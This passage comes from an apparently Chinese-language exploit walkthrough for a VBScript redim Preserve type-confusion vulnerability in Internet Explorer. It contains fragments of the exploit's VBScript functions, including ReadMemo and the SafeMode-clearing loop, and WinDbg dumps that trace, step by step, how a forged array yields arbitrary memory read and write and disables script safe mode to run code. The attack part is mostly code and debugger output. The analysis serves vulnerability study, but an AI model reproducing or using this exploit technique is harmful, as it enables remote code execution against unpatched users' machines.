(IsObject(aa(a1-1)) = False) then if (VarType(aa(a1-1))<>0) then if (IsObject(aa(a1)) = False) then type1=VarType(aa(a1)) end if end if end if if (type1=&h0b24) then IsEmpty(ab) Over=True end if redim Preserve aa(a0) end function function ReadMemo(add) On Error Resume Next redim Preserve aa(a2) ab(0)=0 aa(a1)=add+4 ab(0)=1.69759663316747E-313 IsEmpty(add) IsEmpty(lenb(aa(a1))) ReadMemo=lenb(aa(a1)) ab(0)=0 redim Preserve aa(a0) end function </script> </body> </html>
1) Over() 构造内存布局,记下ab(0)的位置
0:005> dd poi(poi(poi(esp+c)+c)+c) 002d08a0 00000005 00000000 61f20b24 3ff03291 002d08b0 00000000 00000000 00000000 00000000 002d08c0 00000000 00000000 00000000 00000000 002d08d0 00000000 00000000 00000000 00000000 002d08e0 00000000 00000000 00000000 00000000 002d08f0 00000000 00000000 00000000 00000000 002d0900 00000000 00000000 00000000 00000000 002d0910 00000000 00000000 00000000 00000000 0:005> dd 002d08a0-0x18 aa(a0) 002d0888 00000002 00000000 61f2000a 3ff03291 aa(a1-1) 002d0898 27f7cc31 0800a73b 00000005 00000000 ab(0) aa(a1) 002d08a8 61f20b24 3ff03291 00000000 00000000 ab(1) aa(a1+1) 002d08b8 00000000 00000000 00000000 00000000 ab(2) aa(a1+2) 002d08c8 00000000 00000000 00000000 00000000 ab(3) 002d08d8 00000000 00000000 00000000 00000000 002d08e8 00000000 00000000 00000000 00000000 002d08f8 00000000 00000000 00000000 00000000
2) Setnotsafemode()->Mydata() 拿到CScriptEntryPoint对象; 填入精心构造的myarray备用
0:005> du poi(poi(esp+c)+8) 01f4ddb8 "Assign With CScriptEntryPoint Ob" 01f4ddf8 "ject" 0:005> dd 002d08a0-0x18 aa(a0) 002d0888 00000002 00000000 61f2000a 3ff03291 aa(a1-1) 002d0898 27f7cc31 0800a73b 00000002 00000000 ab(0) aa(a1) 002d08a8 00000001 00620150 01f50270 9a000f95 ab(1) --> 已经拿到CScriptEntryPoint对象,但类型是null,需要改类型为long,才能通过aa读出 aa(a1+1) 002d08b8 00000000 00000000 00000000 00000000 ab(2) aa(a1+2) 002d08c8 00000000 00000000 00000000 00000000 ab(3) 002d08d8 00000000 00000000 00000000 00000000 002d08e8 00000000 00000000 00000000 00000000 002d08f8 00000000 00000000 00000000 00000000 0:005> ln poi(01f50270) (6ca44934) vbscript!CScriptEntryPoint::`vftable‘ | (6ca5ab54) vbscript!CEntryPointDispatch::`vftable‘ Exact matches: vbscript!CScriptEntryPoint::`vftable‘ = <no type information>
0:005> g Breakpoint 0 hit eax=6ca4185c ebx=01f2cf50 ecx=6ca9a9d8 edx=01f2cec8 esi=01f4de0c edi=00000001 eip=6ca5c206 esp=01f2cde4 ebp=01f2cdf4 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 vbscript!VbsIsEmpty: 6ca5c206 8bff mov edi,edi 0:005> du poi(poi(esp+c)+8) 01f4de24 "Change CScriptEntryPoint VarType" 01f4de64 "" 0:005> dd 002d08a0-0x18 aa(a0) 002d0888 00000002 00000000 61f2000a 3ff03291 aa(a1-1) 002d0898 27f7cc31 0800a73b 00000005 00000000 ab(0) aa(a1) 002d08a8 00000003 00000003 01f50270 9a000f95 ab(1) --> 改变VarType成功 aa(a1+1) 002d08b8 00000000 00000000 00000000 00000000 ab(2) aa(a1+2) 002d08c8 00000000 00000000 00000000 00000000 ab(3) 002d08d8 00000000 00000000 00000000 00000000 002d08e8 00000000 00000000 00000000 00000000 002d08f8 00000000 00000000 00000000 00000000 0:005> g Breakpoint 0 hit eax=6ca4185c ebx=01f2cf50 ecx=6ca9a9d8 edx=01f2cec8 esi=01f4de0c edi=00000001 eip=6ca5c206 esp=01f2cde4 ebp=01f2cdf4 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 vbscript!VbsIsEmpty: 6ca5c206 8bff mov edi,edi 0:005> du poi(poi(esp+c)+8) 01f4de70 "Assign With myrray" 0:005> dd 002d08a0-0x18 aa(a0) 002d0888 00000002 00000000 61f2000a 3ff03291 aa(a1-1) 002d0898 27f7cc31 0800a73b 00000005 00000000 ab(0) aa(a1) 002d08a8 00000003 00000003 01f50270 9a000f95 ab(1) aa(a1+1) 002d08b8 00000000 00000000 00000000 00000000 ab(2) aa(a1+2) 002d08c8 01f20008 00000023 002fccec 01f2cef8 ab(3) --> 精心构造了字符串,目前还是string类型 002d08d8 00000000 00000000 00000000 00000000 002d08e8 00000000 00000000 00000000 00000000 002d08f8 00000000 00000000 00000000 00000000 0:005> dd 002fccec 002fccec 08800001 00000001 00000000 00000000 --> 字符串精心构造成Array的结构,Array的长度还设置成0x7fff0000,每个元素0x01字节, 数据buffer是0x00000000 002fccfc 7fff0000 00000000 00000000 1291ed9f 002fcd0c 80000000 6a00ffff 00000842 0027fca8 002fcd1c 002df720 00000000 00000035 0032450c 002fcd2c 00324524 1291ed98 88000000 00000000 002fcd3c 00000000 0027fca8 00000000 00000000 002fcd4c 00000056 0032453c 002ae5d4 1291ed95 002fcd5c 80000000 6a0001f6 00000868 0027fca8 0:005> g Breakpoint 0 hit eax=6ca4185c ebx=01f2cf50 ecx=6ca9a9d8 edx=01f2cec8 esi=01f4de0c edi=00000001 eip=6ca5c206 esp=01f2cde4 ebp=01f2cdf4 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 vbscript!VbsIsEmpty: 6ca5c206 8bff mov edi,edi 0:005> du poi(poi(esp+c)+8) 01f4dea0 "Change myarray VarType" 0:005> dd 002d08a0-0x18 aa(a0) 002d0888 00000002 00000000 61f2000a 3ff03291 aa(a1-1) 002d0898 27f7cc31 0800a73b 00000005 00000000 ab(0) aa(a1) 002d08a8 00000003 00000003 01f50270 9a000f95 ab(1) aa(a1+1) 002d08b8 00000000 00000000 00000005 00000000 ab(2) aa(a1+2) 002d08c8 0000200c 0000200c 002fccec 01f2cef8 ab(3) -->成功把string类型改为Array类型 002d08d8 00000000 00000000 00000000 00000000 002d08e8 00000000 00000000 00000000 00000000 002d08f8 00000000 00000000 00000000 00000000
3) Setnotsafemode() -> ReadMemo() 读取指定内存内容,从而拿到COleScript对象
这里我们重点看ReadMemo是如何拿到指定内存内容的
0:005> g Breakpoint 0 hit eax=6ca4185c ebx=01f2cf50 ecx=6ca9a9d8 edx=01f2cec8 esi=01f4de0c edi=00000001 eip=6ca5c206 esp=01f2cde4 ebp=01f2cdf4 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 vbscript!VbsIsEmpty: 6ca5c206 8bff mov edi,edi 0:005> dd poi(esp+c) 01f45cf8 00000003 00000003 01f50278 9a000f95 --> ReadMemo 参数是 add=01f50270+8 01f45d08 00000000 00000000 41f9b9f4 00000000 01f45d18 01f2d244 01f45d68 01f50008 9a000f95 01f45d28 00000003 00000003 01f50278 9a000f95 01f45d38 00000000 00000000 00000000 00000000 01f45d48 00000000 00000000 00000000 00000000 01f45d58 01f40000 01f43e54 01f50a30 00000000 01f45d68 01f2d488 01f45d88 01f50a20 00000000 0:005> dd 002d08a0-0x18 aa(a0) 002d0888 00000002 00000000 61f2000a 3ff03291 aa(a1-1) 002d0898 27f7cc31 0800a73b 00000005 00000000 ab(0) aa(a1) 002d08a8 00000008 00000008 01f5027c 41a00000 ab(1) --> 通过aa(a1)、ab(0)赋值,使得 aa(a1)类型为String,根据String的结构,内容前4个字节是存放长度的位置,所以lenb(aa(a1))会去读01f50278的内容 aa(a1+1) 002d08b8 00000000 00000000 00000005 00000000 ab(2) aa(a1+2) 002d08c8 0000200c 0000200c 002fccec 01f2cef8 ab(3) 002d08d8 00000000 00000000 00000000 00000000 002d08e8 00000000 00000000 00000000 00000000 002d08f8 00000000 00000000 00000000 00000000 0:005> g Breakpoint 0 hit eax=6ca4185c ebx=01f2cf50 ecx=6ca9a9d8 edx=01f2cec8 esi=01f4de0c edi=00000001 eip=6ca5c206 esp=01f2cde4 ebp=01f2cdf4 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 vbscript!VbsIsEmpty: 6ca5c206 8bff mov edi,edi 0:005> dd poi(esp+c) 01f45cf8 00000003 00000000 01f4ff80 01f44484 --> 结果为01f4ff80 01f45d08 00000000 00000000 41f9b9f4 00000000 01f45d18 01f2d244 01f45d68 01f50008 9a000f95 01f45d28 00000003 00000003 01f50278 9a000f95 01f45d38 00000000 00000000 00000000 00000000 01f45d48 00000000 00000000 00000000 00000000 01f45d58 01f40000 01f43e54 01f50a30 00000000 01f45d68 01f2d488 01f45d88 01f50a20 00000000 0:005> dd 01f50278 l1 --> 01f50278的内容的确是01f4ff80 01f50278 01f4ff80
继续ReadMemo(i+16), 最终能拿到COleScript对象
4) 最后搜索内存中的SafeMode标志,如果是0e,则改为ab(4),ab(4)的值就是0
for k=0 to &h60 step 4 j=ReadMemo(i+&h120+k) if (j=14) then redim Preserve aa(a2) aa(a1+2)(i+&h11c+k)=ab(4) redim Preserve aa(a0) exit for end if next
aa(a1+2) 是精心构造的myarray, Array的长度是0x7fff0000,每个元素0x01字节, 数据buffer是0x00000000,因此aa(a1+2)可访问内存空间是0x00000000-0x7fff0000
aa(a1+2)(i+&h11c+k)=ab(4) 即将SafeMode标识改为0x0, 从而升级为GodMode权限。
弹出Notepad, 分析结束!